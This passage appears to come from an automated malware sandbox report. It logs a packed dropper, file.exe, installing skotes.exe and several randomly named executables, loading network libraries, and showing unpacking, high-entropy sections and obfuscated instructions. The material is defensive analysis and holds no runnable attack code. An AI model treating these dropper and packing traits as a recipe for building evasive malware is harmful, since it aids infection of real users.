Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: winrnr.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 3279872 > 1048576

Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe

Static PE information: Raw size of cmuiqwlw is bigger than: 0x100000 < 0x2b4e00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.f40000.0.unpack :EW;.rsrc:W;.idata :W;cmuiqwlw:EW;afwwhgey:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;cmuiqwlw:EW;afwwhgey:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.bd0000.0.unpack :EW;.rsrc:W;.idata :W;cmuiqwlw:EW;afwwhgey:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;cmuiqwlw:EW;afwwhgey:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 3.2.skotes.exe.bd0000.0.unpack :EW;.rsrc:W;.idata :W;cmuiqwlw:EW;afwwhgey:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;cmuiqwlw:EW;afwwhgey:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.bd0000.0.unpack :EW;.rsrc:W;.idata :W;cmuiqwlw:EW;afwwhgey:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;cmuiqwlw:EW;afwwhgey:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Unpacked PE file: 12.2.f30149f036.exe.400000.0.unpack :EW;.rsrc:W;.idata :W; :EW;klrfnhju:EW;auusyycz:EW;.taggant:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Unpacked PE file: 14.2.f570600774.exe.a80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;jkfvjajp:EW;yofpcxnn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;jkfvjajp:EW;yofpcxnn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Unpacked PE file: 30.2.f570600774.exe.a80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;jkfvjajp:EW;yofpcxnn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;jkfvjajp:EW;yofpcxnn:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[2].exe0.6.dr	Static PE information: real checksum: 0x2b7847 should be: 0x2b1ae4
Source: random[1].exe1.6.dr	Static PE information: real checksum: 0x1c7b9b should be: 0x1ca114
Source: random[1].exe2.6.dr	Static PE information: real checksum: 0x1c71df should be: 0x1cf3a9
Source: 536e42fc8b.exe.6.dr	Static PE information: real checksum: 0x2b7847 should be: 0x2b1ae4
Source: f570600774.exe.6.dr	Static PE information: real checksum: 0x1c71df should be: 0x1cf3a9
Source: f30149f036.exe.6.dr	Static PE information: real checksum: 0x1ec068 should be: 0x1e7575
Source: file.exe	Static PE information: real checksum: 0x3297fd should be: 0x320c9d
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x3297fd should be: 0x320c9d
Source: 176986cc9c.exe.6.dr	Static PE information: real checksum: 0x1c7b9b should be: 0x1ca114
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x1ec068 should be: 0x1e7575

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: cmuiqwlw
Source: file.exe	Static PE information: section name: afwwhgey
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: cmuiqwlw
Source: skotes.exe.0.dr	Static PE information: section name: afwwhgey
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: klrfnhju
Source: random[1].exe0.6.dr	Static PE information: section name: auusyycz
Source: random[1].exe0.6.dr	Static PE information: section name: .taggant
Source: f30149f036.exe.6.dr	Static PE information: section name:
Source: f30149f036.exe.6.dr	Static PE information: section name: .idata
Source: f30149f036.exe.6.dr	Static PE information: section name:
Source: f30149f036.exe.6.dr	Static PE information: section name: klrfnhju
Source: f30149f036.exe.6.dr	Static PE information: section name: auusyycz
Source: f30149f036.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: hkjfghfg
Source: random[1].exe1.6.dr	Static PE information: section name: gtwwivgb
Source: random[1].exe1.6.dr	Static PE information: section name: .taggant
Source: 176986cc9c.exe.6.dr	Static PE information: section name:
Source: 176986cc9c.exe.6.dr	Static PE information: section name: .idata
Source: 176986cc9c.exe.6.dr	Static PE information: section name:
Source: 176986cc9c.exe.6.dr	Static PE information: section name: hkjfghfg
Source: 176986cc9c.exe.6.dr	Static PE information: section name: gtwwivgb
Source: 176986cc9c.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: jkfvjajp
Source: random[1].exe2.6.dr	Static PE information: section name: yofpcxnn
Source: random[1].exe2.6.dr	Static PE information: section name: .taggant
Source: f570600774.exe.6.dr	Static PE information: section name:
Source: f570600774.exe.6.dr	Static PE information: section name: .idata
Source: f570600774.exe.6.dr	Static PE information: section name:
Source: f570600774.exe.6.dr	Static PE information: section name: jkfvjajp
Source: f570600774.exe.6.dr	Static PE information: section name: yofpcxnn
Source: f570600774.exe.6.dr	Static PE information: section name: .taggant
Source: random[2].exe0.6.dr	Static PE information: section name:
Source: random[2].exe0.6.dr	Static PE information: section name: .idata
Source: random[2].exe0.6.dr	Static PE information: section name: ixnajgom
Source: random[2].exe0.6.dr	Static PE information: section name: seyuqqyf
Source: random[2].exe0.6.dr	Static PE information: section name: .taggant
Source: 536e42fc8b.exe.6.dr	Static PE information: section name:
Source: 536e42fc8b.exe.6.dr	Static PE information: section name: .idata
Source: 536e42fc8b.exe.6.dr	Static PE information: section name: ixnajgom
Source: 536e42fc8b.exe.6.dr	Static PE information: section name: seyuqqyf
Source: 536e42fc8b.exe.6.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01058101 push edx; mov dword ptr [esp], 3C7FA057h	0_2_01058241
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01058101 push edx; mov dword ptr [esp], ebx	0_2_010582A3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01058101 push 6F019901h; mov dword ptr [esp], eax	0_2_010582BD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01058101 push 77CD12F3h; mov dword ptr [esp], esp	0_2_01058324
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01058101 push edi; mov dword ptr [esp], ebp	0_2_01058357
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01058101 push 592DEB81h; mov dword ptr [esp], eax	0_2_01058397
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01058101 push ecx; mov dword ptr [esp], 5617CF5Ch	0_2_01058467
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F5D91C push ecx; ret	0_2_00F5D92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F51359 push es; ret	0_2_00F5135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00BED91C push ecx; ret	2_2_00BED92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00BED91C push ecx; ret	3_2_00BED92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00C151E8 pushad ; ret	6_2_00C151F2
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00C15297 pushad ; ret	6_2_00C1529B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00C152B5 pushad ; ret	6_2_00C152BE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00C154D5 pushad ; ret	6_2_00C154D9
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00C15455 pushad ; ret	6_2_00C15459
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00C1545C pushad ; ret	6_2_00C15466
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00C15471 pushad ; ret	6_2_00C15475
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00C155C6 pushad ; ret	6_2_00C155CA
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00C155D9 pushad ; ret	6_2_00C155DD
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00C15532 pushad ; ret	6_2_00C1553C
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00C1563A pushad ; ret	6_2_00C1563E
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BED91C push ecx; ret	6_2_00BED92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00C0992F pushad ; ret	6_2_00C09931
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00BEDFC6 push ecx; ret	6_2_00BEDFD9
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 8_2_0022DB9A push ecx; ret	8_2_0022DBAD
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 10_2_0022DB9A push ecx; ret	10_2_0022DBAD
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00446061 push edx; retf	11_2_00446062
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_0043CA60 push eax; mov dword ptr [esp], 11102FFEh	11_2_0043CA63
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00445A2E push esi; ret	11_2_00445A31
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Code function: 11_2_00442543 push esp; retf	11_2_00442549

Source: file.exe	Static PE information: section name: entropy: 7.053445284969334
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.053445284969334
Source: random[1].exe0.6.dr	Static PE information: section name: klrfnhju entropy: 7.94158699808871
Source: f30149f036.exe.6.dr	Static PE information: section name: klrfnhju entropy: 7.94158699808871
Source: random[1].exe1.6.dr	Static PE information: section name: entropy: 7.974526844691932
Source: random[1].exe1.6.dr	Static PE information: section name: hkjfghfg entropy: 7.952823803062777
Source: 176986cc9c.exe.6.dr	Static PE information: section name: entropy: 7.974526844691932
Source: 176986cc9c.exe.6.dr	Static PE information: section name: hkjfghfg entropy: 7.952823803062777
Source: random[1].exe2.6.dr	Static PE information: section name: jkfvjajp entropy: 7.954470397724028
Source: f570600774.exe.6.dr	Static PE information: section name: jkfvjajp entropy: 7.954470397724028
Source: random[2].exe0.6.dr	Static PE information: section name: entropy: 7.7971598601852055
Source: 536e42fc8b.exe.6.dr	Static PE information: section name: entropy: 7.7971598601852055

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Jump to dropped file

Boot Survival

